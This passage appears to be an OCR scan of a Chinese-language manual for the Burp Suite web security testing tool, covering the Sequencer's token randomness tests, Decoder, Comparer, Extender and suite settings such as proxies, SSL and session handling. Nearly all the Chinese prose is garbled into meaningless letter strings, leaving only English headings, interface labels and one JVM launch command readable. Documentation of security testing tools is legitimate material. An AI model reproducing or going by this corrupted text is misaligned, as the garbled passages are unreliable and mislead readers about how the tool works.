tokens EREHFEFFMEZINS AR, Character transition analysis - It A9
WP RIESRT S Z ARV HE, SNRAFMERETERR — M FRAHIE—MEENE |
EHF AT REMPE R T — MrCE— AT EZAE LR PR EHT— . E8MUEL ,
ZWHITE | NR tokens EREHFERINIREIRTEEIRATEIER,

EF HAIRIE | character-level analysis(FRFROIT)ITERASE , 8NFFE - X
RESMERS N FARIHATT BREMTR, oA E RS2 ETKE
RIRIAYERE .. IRIEERIFRENA/N 8 MIER D E—SHERILLE (NRE 4 M/,
34z, MRAB 8 MF/HF 2 U ), AEWEHNRHESTHETEEEIKIHITITE.
Bit-Level Analysis

Bit-level test(RZZUIR) RELFFFRMINTIREE R K. BRNRAIDHT . 81 tokens #48

MR —EELS SHRFAERNE N FRERNA/NERERILFIEEL. REFERRESA |

85 / & 250 U AUHHE R 22 Wb 21580, VIZ0H ARG &
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HANRR 2 NRFREIRINFAE | iz SRR ESIRSGERAE AR NER N ERIZIIRY

BUNNRIFZERIRRIFRTER. T ERVEUERIER D SR B SO G H AN B ERIE

AL XM ENERERT NRBREFEANBEIMHSR AR5 |INBRRMEERIATS U
1T, AT, XMRERGRAHIE LIETSER , BRSO R RS/ IIERG

NB—LERERBIDTERNTRE. S8 tokens BHWALIER— MUEFS , THEASUE

RESMANERT , B 1-2-7 :

The optionz below control the types of analysis that is performed at the character level.

EE

[ Count
[ Transitions

The options below control the types of analysis that is performed at the bit level.

[ FIPS monobit [ Spectral
[#] FIPS poker ] Correlation
[# FIPS runs [ Compression
[# FIPS long run
K 127

FIPS monobit test - LIRS HHT 1 70 0 FIB MURIIE DT, IREERERE 4R
170 0 PRIMERTEREIMEEN, T8 MIE EKITE | J1R tokens ZWEH=4EFT
MBRID AR, MFE—MHTHY | BRTIREFHIMANUEHEAIHEZR FIPS i |
Burp Sequncer tHiCREBE—(IBEI LM FIPS Wik, HER , B FIPS FRESEHT
% Burp Sequencer RIEERAEMNTIE , MIEHEHI FIPS R BREIGF
20,000tokens FIEFEA, Bt , INFURFEERNEREM™ERFS FIPS HBT | REOZHHR
{/RsEEBAY 20,000tokens FIREA,

FIPS poker test - IZUHIEFMAFF RIS MU B EARIPIMNES)  IFESHE |
HEH 4 URHENSNME, AETTEES NI 16 NIRRT, FE TR

BRIHEXEFRID 0. WRFEEMEIENRD TSNS mA RIS, 81D

5586 7 / & 250 U AHHE R 22 Wb 21580, VIZ0H ARG &
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gL, ZUHIE | AR tokens EFENAERTMEREIRID TR,

FIPS runs tests - iZlitGFmA NS PRI — MBI AELR U BB ERENETT.
RETEREREI 1, 2,3, 4,5, M6 RULAKE. (IREREMIERR | &7
S8 XEREHERABERHFAENNNTREREEZA. 8 MEL Zlii
HEERE , IR tokens EREHIMERZIRNST THIMHTZR,

FIPS long runs test - XMNURNNENMES MBI EERRINRKET. WREFmRIEM
MEMRY , RIS TRABERBHF AR THEISEEZA. 8 MEL | Zilhii
IH8 | 205 tokens ZREHN~EFMIRZINRIKAITR. FEEISHIRME FIPS BN
WIS REAW AIRMARIKT TR, AT (A TRERIKBRE FREFERENA.
Eitt , FLATTRERSBEMKTER(ET FIPS (£ , BIEBI1IRET=AERMAY FIPS 1&387K
Spectral tests - ZMUHHUTER MIE ERSFIIRSRIDHT  FEETEIRBIAEREIME
AYIEIEZREA BRSNS — SR mep. Wl TEEE S FY LSS E N FRFIR
TR A— D SET AR, BRHRIRELS A RX SR TRREES MIE. W
REmEBIENR , RL=ERS A ERABIYS EZ=BRERRAIIMRRTIZEL
RN, EEMUE WK | ITEMNERZEIRSHFER | 202R tokens 2hE
MAIEER, ZXRESHITSMRINEE (1-841) IATS I SBIRT (2£6),
Correlation test - Efte MU TSR tokens RIS MIRINIE | FrLABEHLIE
MRV EEHERS. (HUTXFPEEASTIG I LERENLIERY tokens {E—PER
SHRYHIEEXATHE B3Es M ERRNERCRIFEATESHNEBLEEAR
ERMEERRRCAIFRESHNBESME L, Bt , BUELIRTE tokens RAIARE

RN EFRHEZ BRI EEERR. NRFREMIIEMD LRI ELL

87 7 / & 250 U AUAHE R 22 e Wb 21580, VIZ0H ARG I
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MERFEHFTREHEE S — M FEEUEEMIVE. F8MEL  XNURSHE
EHIAEMA BN | 1R tokens BREFIAIXARIATREM. A THILESRISER 3
PN Z BMEREI—EREERIEXY | ZUiEE  HEEKF TRETREEMMUR
WA B E KT,

Compressoion test - Efh& MR TFERE tokens PRIZMIAINIE | ATLABETL
MRIE MBI EETTRRE. (MUTIXMEERGNEUSEE LERETLIERT tokens EA—NEE
FEFRYHIER NS Ba3EE MERRNUERCHIF AT REaHIISEILEE
AEMEERAFCHFRESHBES ME L. Bt , BUELUNE tokens RAIAR
B EFRIEZERMHIFIFZEERR. WRFREMIERR  FELEERILFE
SRYERFEHATREHEE— T E— M TEEHUREMAIE. E8MEL  XNUAST
BEHIAEMMAIERINER |, 1R tokens ZFEHRIXRNATREM. A THIHERRIER |
SR AR —EREREXY | ZUERE  HBEEKF TRETIEEN
TR BB KT,

Samples

E— ARSI TR S A EREXES NGB, XALUE
ERF KSR | BITEEMBIRHTIRCHBE) live capture(SERJHE) , BiEE
Manually loading(FatiE)<he | IRELBUSHIFA.

Live Capture

EH4T live capture CERIHER) |, REEHRI—MNREINIRAIHETS | (RESHTAY session
token(R1EHE) AR Y BARN FERERFPANER. SR LUSEREHTith7s Burp A%
X, REMNETICEREFIERE "Send to sequencer(RiXEIEF=R)" EIHEIX—/R. F

XX MERRE ESL R RIS BN TR,

588 T / & 250 U AHHE R 22 Wb 21580, VIZIH ARG &
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i)Select Live Capture Request - SCHIEIRIEKGIFRHBRERXRIZFEEMEL D burp
TEMNEK, HERREFREESFRRCESEMAIENEK.,

ii)Token Location Within Response - 2SS hEHIAR A2 AR PRI E.
THNATTATA -

cookie - FNRMMRIZEAYES cookie , IXMETAILALLRIEZE— cookie kD1, X2
BESESHEEFNRERGE.

Form field - #NSRMMAEEEHE HTML REFE , X MNEMALUHRIEZE— N RBAFRN
Bk, XMEEFERTAER CSRF SHEAIECERSIMEHAZF,

Custom location - &EJLAERIIATRE S EDHAIEIERIN PIEE—MEENBEE
MAE. XEES ERRARERAIXEE.

iii)Live Capture Options

X BT HTIAHBIER A HTTP ERAMGRShER TN, THRETRA A
number of threads(HUTEEIE) - HETHESIFRIBEREAISTAIIE | ZDRJLAGE.
Throttle between requests(iEXZ[ERITI)- AiEH) , SERFERRE— N ALUSKZAIFE
F—MEEAIEIR ( A= REML ), WETURE A | LUBREE N AER & R,
Ignore token whose length deviates by x characters ZE&<SE , BEREREN X F54-
ERTLASEACERISAHRIR IO  ERESEIKECHREATENRE, X8R
B, RN ARERERSIRE— M EEESHBERE HMAERRT BN R E R,
vi)Running the Live Capture

HIREETEECER live Capture(SERIHHE) , i "FHASSEHEIR" IRHFFIASCRIHEE.
burp FERERHENEK , FMNLBRFIBARBAERATSHE, TESCAIRHE  — it

ERET B9, BRIMSERREAITEES. TG

89 T / & 250 U AHHE R 22 ML = 21580, VIZ0H ARG I
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Pause/resume(&1E/MKE) - IXEERMEIR , AFLEL , FHIE.

Stop(fFLk) - XREKAFILIER, BIASHE - XRKBLHRHHBRASHERIENR , LEEER
ftt burp Wi (WABREBERE ) S LEAER,

Save tokens({RfF tokens) - X8 T ARIFHEAISHEI 4.

Auto-analyze(BzhoH) - SIRBALLSEDR , burp BiSBERBTIRCONT , FHEHEHE
RIPGRETIETP,

Analyze now@EDHT) - IXERTETAR/ 100 SHEWRITEE , F53 burp , HHTXEIR
HRSERIER.

Manual load

LETIRESVHRINEL Sequencer SEBIXECHEAINAR , REHITRITOHTIIEAR.
BRTF R, EEAFEET—LFR , HIRE CRIMAS MR live captrue
SCRHEHE | Bt , 8% Intruder attack , LIRS B CH BN AEFSHIER, SHEEE
R TR D PRRISAMER.

{EFFEMEIREE , MEINEHRAGIG |, Bk Load #ZERAYARIC , MSZHINENES]. IiEcShE , BN
EEEHSKKENFRER  BERER , WEFREEREAN.

BERUTIIE SRR, iBRE "analyze now(SZBEISHT f' 1248,

Analysis Options

£ "analysis options(DHTIEIRN)" ER-RACIFEECE LT Token Handled , FHEDHTISE
FRERIFH TIBLE SR BRI,

Token handling

SRR D HTAMBX LG EEH, THUISEIATA

Pad short tokens at start/end(BVESHEETFIA/4EER) - WNRBNFEREF=4MCES

90 7 / & 250 T AEHE R 22 e Wb 2IAS0, VIZ0H ARG I
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AEKE I XEFEMER  EEEH TR, SaLISERRERNATHARE
MRCHERMMNA. ERSHIERT , ERSHAEFRERSEN.

Pad with(#) - SRILUEERRATIER M. EASEBER T | 33Tk ASCI 71
RIS | ERS 0" FRERSEN.

Base64-decode before analyzing(base64 fZ3 5342 /i) - ANERSHEZE Base64 473 0]
LABCE Burp 21 , XEEIRIRSERBO T RIRVERE.

Token Analysis

X LRSI AT T o HTAISREL, SR LASRIRERs RS MBI RSN, 5
BHE , ERFFERT THIE DR BT FEERARLNE | DIRRIGETFHY T fEFT
RCHER |, LIRBEZ R RFRI AT BRI,

EEREOF |, EBUHIND LIS | EeILiRE "SMoiT =8 , SR EEmH
1TT7 M, FAEHRER.

Result

Summary

summary EI-REBEIREERETNIEFRTRIERRNSNECEN, e8F—EBX 8
THIBRUBLL L& EEMHKFRINAVE R  XIRA T — N EMATHRFAREBHEAN IR
EE R B MK TFRIRIATEE.

IZIREIRRE T BRI REEIHE | RIREFANEHE.

Character-level analysis

MIBERNSITA R EREFARUNNERRE LRGN FRRULAET,
BEEERETHNFREEEMBNX/ ARG LNE N R E IR AT

RAHE.

#9100 / & 250 U AUEHE R 22 Wb 2 21580, VIZ0H ARG I
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IR FARNNRA SRR, NRFTRANFAFENA/NI B THARIEE. 5140,
MR—DPRRAT 64 PMARRIFFESMIE | (RARUHEIR 100 M |, BB IRHEERERT
HALIREHXTAB DB RS, HTFXNRE  SEENATENERNE
BS , burp FEBEMELIEFRARS , LLLEBIAEAA S FHERMDTRIFRARAIER,
Bit-level analysis

ZNERSIMAI- R ER 7 BN RIIIHERBE FLERARE— MK
M1, XAJLUHSKISH MRV ERAY TR ST IRERRE | FHEShEFTIRY
AIREME,

EE—ER B SEiI SR PRSP AU ERNESE . XSERISEPRYS]
BEMIBEIFRRINFHE | IRFFE.

Analysisi options

PIMAI-RERCRENSITHNER. MRFEEFHITON ETLUEEIXL,

Decoder

Burp Decoder 2—FBTRHmISEIRMANENGER 0 | BoSRIn SRS IR ST mAS NS
ARNERTHE, CreBEaEthRBISMEIEARARRIIRA.

Loading Raw Data

RIS EIR IR RS o E |, W&l 1-2-8 ¢

@® Text O Hex | 7|

|_ Decode as ... ?J
|_ Encode as ... ?J
| Hash... v

l Smart decode J

1-2-8

BN E L NEE TRER RIS R ER.
92 70 / & 250 U AEHE R 22 e Wb 21580, VIZ0H ARG &
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EEREET burp FYEANIE | REN ETICERPRE "RIXEFDE".

ERJLAGER "X # "HNHE] SRR miE AR RIS BRI SEUEE .
Transformations

A RIRIZR IR AT LAN IR EERRIAEER D, T EAESAmISERFTA

1)Url

2)HTMLBase64

3)+7 il

4)ASCII 3

5)/\igtHl

6 ) i

7)GZIP &

B ERVESIREE T B , BURTRRY Java FERITHEE.

Working manually

BB TFNFOTRD (LR TASREEFRRIZE S, FTtRAVEE BN MN RIS |
BN RIISRIRB WIS,

Smart decoding

FERRIDEERRYHITENR , BRILARE "EeefEe" =5, A5 Burp KiEEE S HME
ENRBIAIRETL | U0 URL 4mA3Ek HTML SmiBE5miBEiE R S sett i miRNRS. 3
IFHITIXANEIE |, —EREERIREH—PRNRBIREIERS TGN, X NMEALUZ—ME R
HNE—E | BHRELHE 7 — LSRR  AERRENE—T  EEREILURE S
R E S ZIRBIIZ . N ARIEIRNE N o R E R EREENERRR. B9 Burp

fREEs |, D "REEN SR —EERARDEI  EANRIER. KEXME

§593 01 / & 250 1t AUAHE B e M S SR, VIZIH TR &
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A AREILAMRB B ERIES SHEERMER , RERNAES MUE LRE. FRF

sEHINRTLAFaNE ST AR ERRVAE RN T oIE I R EF IO X .

Comparer

Burp B9 Comparer RHYTIHAMIEEEZELLER( #IRK “dif(ER)" ) —MERINIE,
%3 Burp 89 Comparer —L68 INFISIN T :

SSTBRIBFEAENRGT SR LERERITEEIRF A LRI SRR | SHIE
2 NEAB{ARIER.

3 Intruder RESSHARKENERN—LEIFERRIRM , {FRALUCBIXERIREE!
ARERAY T IRFRTE.

24 comparing Y site maps EUEBIIARZEELAIAEFERAY Proxy history &8 , {ReJLAEL
BXIRMRIEK , EERENARZAET , ATRENNAEERTASERN.

SR EERf/RE SIS RIS B SQLIENRR , (RATLCRANRA , &
EEISANENFMHESHIRNAEXER.

Loading Raw Data

IR LUSEEREINEZR comparer SFTLATAT :

EEEMMZRENR.

MIEHTEE.

EIREEES burp FMHARE | 2ARM ETIEREPERFE "&XFRI Comparer”,
Performing Comparisons

INEEERIEAN IR B AR MERRISIZR. BHITIER  NEBAIRPIEREMINE |, 7
BFHEAE “comparsions” ZHZ— :

Word compare(ZFLUER) - iXFhLEER tokenizes iRIETIE D IEENEUEI FHimE 7 3uEM

94 70 / & 250 U AUEHE R e Wb SIS0, VIZ0H ARG I
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B PMRBERANE _ATEIRCKBIRYRE. SERREEFER R EARE8BHNES |

fign , FEBEAESEN HTML X |, &8,

Byte compare(ZFHEER) - XFPLLERIBESIENE—MRBFHANSE B F D RAVGRE.

SEF KR ARIEEBRIER] | ELINERSTE—MTERISEEL cookie B

BAEHERI HTTPIEX , XE&BAN. T8  2F W RNRERIZHHEEERN , 7

BRI , LHEE—MERIBRMEXRRIERE HMNZ R ERIX MR,

SEE—NUR , SEHR—MEDQ | BRERIVER, ZEORRU=2IES (B

fwig ) XM IE ZENRE, RN EERETRRBECRaRERTEMER , BBRFO

BIEHNE— M MEFANB ZBIINE, (REILENARS T SAt A EEE N IE, &
“sync views(ELZARE])" BT LAEERERHRNNNESFRIEL HEARSEIE R FE8

A4S,

Extender

Using Burp extender

{3 Burp extender INgE , FE—T/LMER

1 E5EVAET java IS

2.1E Burp extensions B add i#h0 , , 20E 1-2-9 :
E Load Burp Extension

Please enter the details of the extension, and how vou would like to handle standard output and error.

Extension Details

Extension type: Java L |
Extension file {_jar): Select file ...

Standard E:'I_.[F:I__[

K 1-2-9
EREK jar BREN  REREZE T —EMETET
$ 9571 / & 250 T USRI E IR, VIZIHEFAEER &
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AR T RIRTRERRE  AEEN TER S, WE 1-2-10 ¢

l Add J Loaded | Type | Name
[ ] <SAYd TRTCITLT -l T jat
Remove | Pk Payload Parser—___

Python NMAP Parser

Up | R Java Script Generator 2.0 A
M thscan.M

l Down J ] Java Burp Motes Extension

1-2-10
53R R python I RANEFRESLE options FRECERF python REFH HZEE jython 4
e 1-2-11:
[EJ Python Environment

G These =settings let vou configure the environment for executing extensions that are

Location of Jython standalone JAR file:
E:\Program Files (=25 M\ython\jython.jar Select file ...

1-2-11

Loading and managing extensions

TRERTIEEREIY REFIR. EALIRIN BRI BRI RREFHIFAT
B, EEE

% BRENERIFR . P EHEEMmas s E b SRS HaE BT,

T RERILAEDE, | (BIRERTERT | LUEREE TS EERMAE time.To I FRAVAZAE | A
MIRAMBRE | £ “loaded” =8l RIFMESEERFREZEHE, 8 | BRLUR
REEHTZ Ctrl +Bd "loaded” SIHERIGER, SKEIEFAEIINEZY RS , AT
HHASTEIE,

Fi={TH Python IRERYT & | (RESSHEECE Jython FIHIZ JAR BfZE | 7 Python 3k
ESvAU

Extension details

$96 71 / & 250 U AXHHME R e Yol 58w, VIZIE FEAREH S .
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SN BRI B FERERAYY BER. FAERERRERUTER Ltk
T RRLRIINERY, ERILURESIEE  INEEEEEENT B, RS, ¥ EULIBIRE
REHENMIAFRATECERNET. EOUFRE NRFELER. TR( Java
8 Python ) A9258Y, MAINEiZl REAISM. A95IE TR , FHERY REFREMMEIR
AERER. BHEIRE ST BRIRERLIRIGET LIRS RSB X EER
THEENER. AENER TR ENAREFIEEESMZRERSIRAEFE | 5
EZRFENMH , BEE Ul PERER. BHER  5EET U NEHEOEAIMRS |
NEERTERICR. I REASRESMININALHIERER , HF burp EEDELA)
IEFRRGEUER | FHEISY & AP URIESTA. ¥ R RNETX ML EEEERHRIRRE
HE  TCEXEEMNAENRE.

Burp extender apis

IR ST AT eI Burp extensions API fORTS. %FIFRER . BJ7E Burpk iE{THR
AH9 AP, WFUSRAPIEE—MEORNER , B RFAEAEEER.

BIARILAER “save interface files(BfAZEONM)" # “save javadoc(fRfF Javadoc XX
)" ERERREXES AR , BTRY RIRTE,

Options

Settings

WIS B HISEAT Burp 2AMETRMEY B, % Burp Bl , ESEmRETT BNEES
B, NSRERIER , Burp tiGE =N EFINESRFRNZHEEEE R LR Burp &X
AT .

Java Environment

IRERHEECEMREHITHIZEAA Java WERYY R, WMREHW REREEE | (RILUEE

§597 01 / & 250 1t AUAHE B e M S SSi, VIZIH TR &
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PRLLEEISHBNEAIS, burp SARFIXANERHRYE JAR X4 | FEBERTINE
Java I RSNNEL=RAYRIRZ P EFRIX L,

Python Environment

REAIFEECENEHNITAOZMA Python RS/ &, £/ Python & | IISHEETERY
Jython , iX2 Java SCHIRY Python f#RRES, THNEINATA : 17E Jython A93ESZ JAR 4]
VE - XEECSTHR Jython BUE. (RETTEEY Jython RIIHIZARA, RPN
BURRIR - LERERFNERT , JLARSKIEEMNIBA Python fERERsNiZ = IS TR 2 A&
HOY RARIRATSAR, WNSRECE | LEEIASEL Burp KEFTEEAINE T Python B9
sys.path Z&, IIREE 268 T B 2H—E Python BEEES /NI R(EAGERILEIR
REHRA.

TR 1 BTE Jython BRafiRAERK Java /RIS T |, BRTRERIBEIRFITM , NFRIRINES
NRRERY Python i & B SNSRIRENHFFES— Python I RZIR AR A EXFPER |
IREBEI—MNMXHEREIR | java.lang.OutOfMemoryError: PermGen space

You can avoid this problem by configuring Java to allocate more PermGen storage,
by adding a -XX:MaxPermSize option to the command line when starting Burp.
f5l:java -XX:MaxPermSize=1G -jar burp.jar

Ruby Environment

REAIHEECENENITROZMA Ruby RS R, (£ Ruby A9 R (RFEZE I JRuby
X5 Java SCHIAY Ruby fEHRRs. BRSO LIDXEECE JRuby AY JAR XXEAIE | 5L
FTBAILUEY Java KIREIESHITI0EAY JAR 34,

Suite Options

Burp BB AERIFINRIFTE TEAMTAER EERIER.

98 T / & 250 U AHHE R 22 Wb = 21580, VIZ0H ARG I
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BN

Connections

IHET-R B SR E ks Burp platform authentication , upstream proxy servers ,
SOCKS {38 , timeouts , hostname resolution , LARSEEIIMNIEK,

platform authentication

REDIFEECE Burp platform authentication((F&Bz#N)IEIERIBFR Web IRE28. AH
APAE S TARAIER ARG E SR ER L.

STISHIIAIEZELS © Basic(EAMY) , NTLMv1 , NTLMv2 SRR EIIIE, AN
BEENET NTLM B{H381E,

£ "Prompt for credentials on platform authentication failure({2~F& EIAEEMIE
&) 1BMESE Burp B EIEHESBHIIERNETEEIRIERE,

Upstream Proxy Servers

REZ4 Burp EBSMAINEIZIE KR Upstream Proxy Servers , BiE EIZEBix Web
IS5 =%.

ERILAENZI N | FEEAREN BRENESENAEARRNAERSFRE. UAINAIR
Fr , TE#R Web fRS5E:BLECHIS—FRINISHER. MRLKBMNITE , burp BUAJ
BfERY, IFEREE,

ERILME B ENAGEHERERR (*RES NS NFR |, M ? R T RITEEEIFR ),
BrranEsl— " E—hINERSS | QIE2— N ABRYEN. BAREEN=EERE
EERHEERIEN,

MNTFERENE LRSS  MRFE | JLUSEAESTAIALL. SHFARAIEEE

B EAR, NTLMv1 , NTLMv2 S4EITEREEIIE. SHENSERNAT NTLIM 5

99 T / & 250 U AEHE R 22 e Mk 21580, VIZ0H ARG I
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RS,

Socks Proxy

IRE AVFIEERE Burp {5/ SOCKS REBMFTEIEHINERS. IRBRNME TCP 2 , i
HuEREPEEDX MR RX,

SNREBEL N Ll HTTP (ERIRSSSJECEATNN AEERE LIRS IS BT B
EfY SOCKS RIBKIE,

SR "DNS HIfIfE SOCKS ({I2" BRIZE , NMERIEEISHRERIR, REAE

BT,

Timeouts

REIREEATEMMEESAERN. EILUSELATERN

Normal(IE®) - IREERTASHNMEES , FHREKE burp BARNFEERET

BERIEK , FHERZAIEF.

Open-ended responses(FFAEiAIEIRL) - WIRENATFEEMNACENEKEREH

RESHY HTTP #RsLiiMER. EXFER T |, burp BEZIEHBAHZ A , SEEEN
GR[EIEER

Domin name resoolution(iZf#T) - IIREREINMTEZE burp KEFTHITAHIIRYER
BREO., XMZFREA—MNELSRYRE , NIRRT MIHRREIRET,

Failed domain name resolution(SKMAVEHEfET) - HIREME burp ZABEHR=EHA
PR ERE N,

BELAR A8, MNREMETEN |, 2SS burp KEASEAHITIEE,

Hostname Resolution

REFERILMEEENZREIR] IP it , SRB(RAVEIKATIZALA0 DNS #2477,

5100 51 / & 250 0 AXHHME R Yol = 2358, VIZIA FAREHE.
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BNENBBTANEE—NENS | FNSIZEVRRERRY IP ik, UATLASRIRER
BEEH.

XA INEERTRER B ARY | LABIRISKAIIEMRIHAEART |, hosts U4 EHYZSIIMIF IR
MEZFimBHHTRERA WA,

Out-of-Scope Request

A ARTRALE Burp WRITHEBELEERIER. SAFERIERBIEKRMEAEEERIR
BRINT(EER , ERLIZBRARY. BMERATN e EE T EENIEEX | BUSE
ERBERIEEE Burp #EF,

RISt IheE A ZRIBEREE. E |, @aILUER URL RERINIE N BESCEE.
HTTP

Redirections

IREEHEERRIRER Burp S EHKECE NIRMERERRIIER TEE.
AJLASEREERRIRRSRT ¢

1)3xx status code with location header

2)refresh header

3)meta refresh tag

4)JavaScript driven

5)5 Location fRSkAHE(ERZSES

IR, Burp FELATEERZNSER BIMTARHE MR Burp TEMIRE (Hi90 | 1R
EESEER ) KHE.

Streaming Responses

BJLAEA] Burp BBL2 URLIRE] “FEAR" RURAL , IXALIE, #Af5 Burp S AETFIEBRIR

101 50 / & 250 U AXHME R e Yol = 2358, VIZIA FAREHE.
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RN, SRR MIEFERTEANERT , TERBNEEERITIREE,

Status 100 Responses

124l Burp 2RSS 100 B9 HTTP RAYA. =H— POST IEkAIXZIIRSS S | IXLL
RNELRER , efE—MaiTRIBRIE R ERAIE A,

THRIRE :

understand 100 continue response(7 fi# 100 4R£ENIRT) - GNERBEEILLIEIR , Burp &8k
& SR EAm AAD T R IERIM N SRS ISR SR A E R,

Remove 100 continue headers &7 100 42455L - aNSRi%ARILEIEIR | Burp SEIZ FIHR
EBRRIRA T B M IRSS2RA00E A S M BRE(T R HASLER.

SSL Negotiation

AR , (R 8eE EMERTRFI SHLE Web fRS328AY SSLiERE. Java B9 SSL IR BLE T
TUDNNR | IR SR EASENRSREETLIF. AT HREEHRIXANERE , Burp , &
BILUEEMRELXANEBALZIE SSL A iRitiaiRsSes. TEAVEAIAINAIFA | Baliki
XIBFISLIERES SSL 244 - WNREALGRIN , APAZ Burp KMATERECERIMNFNEERT
FHTFIRI SSL |, ERNIRSSES | IHEREIZZ2MNT 2 F—HFREHY SSL SEIRS 270
Java , WISRIHEIFRESHISEL , Burp BFRIIER | FHERES N AFRISHEBERD
ARSSEEASKRAIRH, X METUEFRZAEGY , FIERFERR SSL A/ , A= ERIY
RS, ISFERELE Java 2 RARAIENE - MJava 7Y, Java ZERAEATLAFASRM SSL
NEHRATHELERLSHNEL , IREFRN—EEOAMER T (N MD2 ) 2. IU7IF
£ Web IRSZ25EMEAXLIIINAEL . SSLIUEH , ERATIEEERENIAL Java T2
RIEEFIXERSS R, BRILLIAIIIT Burp fEIEEEIZ 2 MAIARSS SRl E AP REE.

MR E R A SERAIEEH SR Burp., SAIFARERI SSLEFNE - IHIETTAI6E

102 50 / & 250 01 AXHHME R Yol = 23580, VIZIA FAREHE.
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SfER—EEFiRAY SSLIERE , SiXEEER Y SSL aRN TIFRUEN.

SSL

Client SSL Certificates

FIFHEECERE Fin SSLIUER | SEFRENBIE— Burp 2EM. BRILIEESZNES | 7
EESMEBNEREN. SEFUSKAIZ im SSLIEF |, Burp REFIFRFRIENEE
ILECHIEERI AN BRIRPERNSE—MER. BILUERRENATEHEREER (| T
BCENRSNFRT , M ? T REHIFR ) . BER—MES , 83FEENERZ
— , (ERIFABEREN. EFURIERSHFLATRE (34 ( PKCS # 12 ) - (RISHZER
ERPIER RN EZRBANES. EE-SHEEERER ( PKCS # 11 ) - (REFEEE
PKCS # 11 EESHRINIE |, AIERNIRE | f8RY PIN 3 | ARSI MBRLLRT FBRTIET. i% PKCS
#11 EXHRRARENEINRBELZAIRRIE . £ Windows L, Burp AJLABEHE
RE I EHESATZRRIE.

Server SSL Certificates

HERREREZM Web IRSSIZIEIRIATERI X509 IEBANFMER. WERIEFHIIT
B, LERZIEBZEMT.

Session

IR B SH9EE session handing rules,the cookie jar,and macros,

Session Handling Challenges

SHITIHTRERT Web NAEEFFRIUE | (RATRESBEISRIEMEFIE XAk,

BN - ZNFRERFATR IR AT UNEE | TERMTREREMRR |, RIS KRET
B, BERISERE., FLEIHEERTREERNZERYRSEMNER (I , HSIERINERE ) 12

A9, FEINEETRERE—RIIRERBININED , (FHEMANEK , SREN REFE—

103 51 / & 250 U AXHME R Yol = 2358, VIZIA FAREHE.
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PNEEIRE  EIEERZUHARER. FUTENMCIIESS | (ieEaEded , Jeest
PIXLERER , SHRFIUAEATEEHI. Burp ISIEMETNREE S—RFIRITORE | LARSED
ERERXEERT |, IR FMEINN |, R Burp FEEREHRAIAEAIR
R,

Session Handling Rules

Burp iHMREMISTRLIBFIMNEER | LG R Eitizd] Burp SMENEREFHISIE
SEIEANFIFIEXRAIINEE. M UE S—MERE HAMUERT FTa 2% ) .
T E—TENGEENEX , B) Burp BEIRE T FTEXAIMNITEBERNEK , FHITAEIX
LB T AR ( BRIFRMAREITRESREIA—ST6  MERTEREHR ) .
EeERAE M NI ETHHUEEIEFNERAT IR 2 REN

Burp THEAHANERK.

153KHY URL, BIERFPSERIEIR. SN ATLBIT— IS aE | BIa0 - 8E# cookie
M Burp RYEE., WIFSRIRIE. E174 (BREOMEXRIT ) . BTl RERSEE
FUTRNZFAMN |, (RETLAE AT ARIEIREERS Burp B1ER TR RERISABFITHEE, F40 , &
—MFERIT AT LAE XA TRIAN I TFRAERYER M Burp BY cookie jar w0 cookie,
XTIBEKRENTERIE | WIESRISIESZNREFDETEIRE | RIRE | I5TREN
REFERER  FEMEEAEINASIESH. XMTERIBE_ csrftoken 24U5ER
URL , BEEIT— M AIERENERL_ csrftoken fiME , FHEHIERAHERIL,

Session Handling Tracer

FEHIS Burp RISTERMETHEE | LAGIISEH RN FRZFFRITHEERECEHER SR | FF
BERREZICHE. GRILMERSIENERERR , LISBSRREHISIELERE,

TNFRET , BERASIEEIRERIE (B , ERED—SEANEENA ) B MNEKAY

104 51 / & 250 01 AXHME R 2 Yol = 23580, VIZIA FAREHE.
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FIR, MTFEMMEEK , iR ERIRTRNAIH T RS | FEBEEREIERS IR
BNMPRPRIEREKXRTIEL,

BER  SIECEREIE T ITEZIRM HTTP iERkANMEMEME . BRnzR S5H0E
HEBR TR BIRR , SRR , AAZEFEEHIET.

Cookie Jar

Burp #E7—> cpploe Fi& AT FERBRAEIEAIMILA HE cookies , ZEHERFTH Burp
NIEZEHE, el BERL T A Cookie HERLEN , LAEFAY cookies . ERIAER
T EEERETRENHNKN TRERESH. Burp IMIMEETEEIEIRIMAL , FEFT
B SIREFAFA Cookie, FERIBRIBRT , MXIESENRNBERERIGE. FLEHEE
BIEIRE—KAMR Cookie iXZHRITEZRINILERS | XEFRRAISTEHITESANME |
XZ2RERY. B Burp EifE L , BIIIEERNERESEREMELEN cookie 15K
IINRIERE | BMEIRAIN TR HRTnIEREIARE#TZ cookie RYE, BAAILIEEFIE
HEFNGRIERY cookie IR |, A "fIFER" &Kil. EEIJBTIECENRNIIZERE
IEFTNEERZTELIBEK. EERE Cookie HIEFERE , 7E/2{HHY cookie KMIEAIIE
Internet Explorer YA, BSEEATIN,

Macros

macro 2— P EEMERK—MUEXHIRE. ERJLAERSIEGIEMNFAY Macro SkHifT
BIESS, HEBFIRNRERE  SREGZNEER (AFRIER ) AREREESRISIA(]
HEY, HITER  LEKEHIIERISE. KESHEBENEIFASZ—MNERPISEK
{£F. = Scanner 8} fuzz(EREIE)E— S L RANIIERNERET  FUTHZRIRHAZSK |,
VUSRI ARIEPH BRERSHRIEZIINS, 1M SLBTRES , "attack” RYIBK

RS, FESCRGZISIZRIRIRESER | LAERTHITRISE | B SRBRISER | BiE MZIREER

105 00 / & 250 01 AXHME R Yol = 23580, VIZIA FAREHE.
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RESERERE. URBEKIIEARFS 8 VRE S — X TUEH T S4RIFy R Rkt
ERIERERRAZ [ERIEEREXME.

display

User interface

REIFEES Burp AR RERIINE, SRILIEERTENRFRE (BRT HTTPER
RIS ) RIRR/N B2 Java RISMIFIRE., BEIXEIREM SRR Burp EFEH.
http message display

RERITEET HTTP HES BTG HTTP iHRYwERRT . ErILUREF AR
INDHAFEBRERER. SRR ENERSEMINNIE LS EFBHESTH. B1R

Z/MKEHIRELRD |, BEXEIRE |, 0B 1-2-12 ¢

o B Select font =S
EJ HTTP Message Display
ese settings Iet you control how messages are displayed within the raw on Size
LEJ Th i let trol how HTTP dizplayed within th HT| Font )
Font: Courier New 13pt Change font ... ZiAdober A 8 A
e 9
[ Highlight request parameters = 10
11
[ Highlight response syntax Eiﬁj’Eg
HWEEE Light 12
FHRE 13

1-2-12

Character Sets

IREEH Burp B7RIGHT HTTP iHR RS AMAIAEAREIRIFATER. AT AR

1) BEIRBIENEBRIFATERVER | SR, XEEAET , NSRS EERAR
FRIEERIEMARITAE,

)XIATEIHESERFEIARNTFAE.

B HENBFIAFT ({#F ASCIH 473 ), MIANEHTT BFH.

